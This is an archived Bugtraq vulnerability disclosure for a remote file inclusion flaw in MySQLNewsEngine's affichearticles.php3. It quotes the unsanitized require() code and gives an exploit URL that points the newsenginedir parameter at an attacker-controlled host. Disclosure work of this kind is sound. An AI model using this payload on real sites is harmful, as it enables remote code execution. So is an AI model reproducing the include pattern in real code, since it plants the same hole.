Bugtraq mailing list archives
MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
From: gokhankaya () hotmail com
Date: 6 Feb 2007 20:17:36 -0000
# Title : MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln. # Author : Blaster, CanberX # Contact : msn () bl4ster net | gokhankaya () hotmail com # Download : http://www.comscripts.com/jump.php?action=script&id=625 # # # Vuln code : affichearticles.php3 # # $sigfile = $newsenginedir . "include/signature.inc"; # # require("$sigfile"); # http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker] # # # GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu, # HackerBox Group Turkey !
Current thread:
- MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln. gokhankaya (Feb 06)